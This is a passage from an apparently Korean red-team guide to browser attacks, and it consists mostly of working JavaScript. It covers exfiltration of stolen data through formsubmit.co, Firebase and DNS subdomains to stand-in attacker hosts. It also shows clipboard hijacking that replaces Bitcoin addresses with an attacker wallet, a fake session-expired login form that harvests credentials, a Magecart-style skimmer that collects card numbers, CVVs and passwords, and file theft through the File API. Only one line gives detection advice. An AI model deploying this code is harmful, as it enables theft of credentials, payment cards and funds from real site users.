// 사전에 formsubmit.co/attacker@redteam.local 로 첫 활성화 메일 필요
fetch('https://formsubmit.co/ajax/attacker@redteam.local', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({host: location.host, data: btoa(JSON.stringify(buf))})
});
2.3 Firebase Realtime DB C2 (정상 트래픽 위장)
// 타깃 사이트가 이미 Firebase를 쓰는 경우 특히 은닉적
const FB = 'https://redteam-rt123.firebaseio.com';
fetch(FB + '/logs.json', {
method: 'POST',
body: JSON.stringify({u: navigator.userAgent, d: buf, t: Date.now()})
});
2.4 DNS 엑스필 (짧은 데이터 — 토큰/쿠키)
function dnsExfil(data) {
const chunks = btoa(data).match(/.{1,50}/g) || [];
chunks.forEach((c, i) => {
new Image().src = `http://${i}.${c}.c2.redteam-local.com/x.png`;
});
}
// 수신 측: 권한 있는 DNS 서버 로그에서 서브도메인 파싱
// Wireshark 필터: dns.qry.name contains "c2.redteam-local"
3. 고급 브라우저 해킹 기법
3.1 클립보드 하이재킹 (암호화폐 지갑 주소 치환)
document.addEventListener('copy', e => {
const sel = document.getSelection().toString();
if (/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/.test(sel)) {
e.clipboardData.setData('text/plain', 'bc1qATTACKER_WALLET_ADDRESS_xxx');
e.preventDefault();
}
});
3.2 로그인 폼 DOM 주입 (가짜 필드 + 원본 제출)
// SSO/OTP 필드 앞에 가짜 재인증 폼 삽입
const f = document.createElement('form');
f.innerHTML = `
세션이 만료되었습니다. 다시 로그인하세요:
`;
f.addEventListener('submit', e => {
e.preventDefault();
exfil('PHISH', JSON.stringify({
u: f.ph_user.value, p: f.ph_pass.value, r: document.referrer}));
f.remove(); // 제출 후 제거 → 정상 사용 흐름 유지
});
document.body.appendChild(f);
3.3 서드파티 스크립트 공급망형 (Magecart 스타일 스키밍)
// 결제 페이지 스키머 — input 자동 분류
setInterval(() => {
const out = {};
document.querySelectorAll('input').forEach(i => {
if (!i.value) return;
if (/card/i.test(i.name + i.id + i.placeholder)) out.card = i.value;
else if (/cvv|cvc/i.test(i.name + i.id)) out.cvv = i.value;
else if (/exp/i.test(i.name + i.id)) out.exp = i.value;
else if (i.type === 'password') out.pass = i.value;
});
if (Object.keys(out).length) exfil('SKIM', JSON.stringify(out));
}, 3000);
탐지: SRI(무결성 해시), CSP script-src 화이트리스트, 결제 페이지 외부 스크립트 변경 알림
HttpOnly 쿠키는 JS로 접근 불가 — XSS로도 탈취 불가. 세션 하이재킹은 XSS-USO(사용자 자동 요청)로 서버 액션 수행하는 편이 확실.
3.5 크리덴셜 파일 복사 → C2 업로드 (브라우저 File API)
// 로컬 파일 접근 경로: 드래그앤드롭 또는 file input 조작
// (순수 브라우저 XSS만으로 임의 파일을 "몰래" 읽을 수 없음 — 훈련 시File API 데모)
function readFileInput(fileEl) {
fileEl.addEventListener('change', e => {
const f = e.target.files[0];
if (!f) return;
const r = new FileReader();
r.onload = () => exfil('FILE:' + f.name, btoa(r.result.slice(0, 4096)));
if (/\.txt$|\.csv$|\.json$|\.env$/.test(f.name)) r.readAsText(f);
});
}